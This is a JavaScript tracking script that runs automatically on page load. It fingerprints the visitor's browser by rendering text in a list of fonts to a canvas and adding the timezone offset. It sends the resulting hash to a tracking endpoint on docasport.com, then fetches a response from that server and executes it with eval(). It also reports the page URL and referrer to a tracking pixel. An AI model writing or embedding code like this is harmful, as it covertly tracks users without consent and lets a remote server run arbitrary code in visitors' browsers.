function hashCode(str) {
let hash = 0;
for (let i = 0, len = str.length; i < len; i++) {
let chr=str.charCodeAt(i);
hash=(hash << 5) - hash + chr;
hash |=0; // Convert to 32bit integer
}
return hash;
}
async function createHash() {
let font_list=new Array( 'sans-serif-thin' , 'ARNO PRO' , 'Agency FB' , 'Arabic Typesetting' , 'Arial Unicode MS' , 'AvantGarde Bk BT' , 'BankGothic Md BT' , 'Batang' , 'Bitstream Vera Sans Mono' , 'Calibri' , 'Century' , 'Century Gothic' , 'Clarendon' , 'EUROSTILE' , 'Franklin Gothic' , 'Futura Bk BT' , 'Futura Md BT' , 'GOTHAM' , 'Gill Sans' , 'HELV' , 'Haettenschweiler' , 'Helvetica Neue' , 'Humanst521 BT' , 'Leelawadee' , 'Letter Gothic' , 'Levenim MT' , 'Lucida Bright' , 'Lucida Sans' , 'Menlo' , 'MS Mincho' , 'MS Outlook' , 'MS Reference Specialty' , 'MS UI Gothic' , 'MT Extra' , 'MYRIAD PRO' , 'Marlett' , 'Meiryo UI' , 'Microsoft Uighur' , 'Minion Pro' , 'Monotype Corsiva' , 'PMingLiU' , 'Pristina' , 'SCRIPTINA' , 'Segoe UI Light' , 'Serifa' , 'SimHei' , 'Small Fonts' , 'Staccato222 BT' , 'TRAJAN PRO' , 'Univers CE 55 Medium' , 'Vrinda' , 'ZWAdobeF' , 'monospace' , 'sans-serif' , 'serif');
var canvas=document.createElement('canvas');
canvas.setAttribute("width", "500px" );
canvas.setAttribute("height", "300px" );
var context=canvas.getContext('2d');
var x=100, y=180, innerRadius=5, outerRadius=70, radius=60;
var gradient=context.createRadialGradient(x, y, innerRadius, x, y, outerRadius);
gradient.addColorStop(0, 'white' );
gradient.addColorStop(1, 'blue' );
context.filter="blur(16px)" ;
context.fillStyle=gradient;
context.beginPath();
context.arc(100, 200, 50, 0, Math.PI * 2, true);
context.fill();
context.filter="none" ;
let i=0;
font_list.forEach((name)=> {
switch (i % 2) {
case 0: { context.strokeStyle = '#f003'; break }
case 1: { context.strokeStyle = '#0f03'; break }
case 2: { context.strokeStyle = '#00f3'; break }
}
context.save();
context.rotate(i / 100);
context.beginPath();
context.font = "32px " + name;
context.strokeText("!mmMwWLliI0O&1", 20 + i, 50 + i);
context.fill();
context.restore();
i++;
})
const dataURL = canvas.toDataURL()+new Date().getTimezoneOffset().toString();
var hash = hashCode(dataURL);
src = 'https://docasport.com/__track/js.php?hash=' + hash;
try {
const f = await fetch(src)
if (!f.ok) {
return false;
}
const text = await f.text();
eval(text);
return document.tag;
} catch (error) {
return false;
};
}
async function getHash() {
if (!document.tag) {
let tag = localStorage.getItem('id');
if (!tag)
await createHash();
else document.tag = tag;
}
return document.tag;
}
function hit() {
getHash().then((hash)=>{
const urlParams = new URLSearchParams(window.location.search);
const id = urlParams.get('id')
const newParam = new URLSearchParams({ tag:hash, ref:window.location.href, r:document.referrer});
if (id) newParam.append("id",id);
fetch("https://docasport.com/pixel2.svg?"+newParam.toString());
});
}
hit();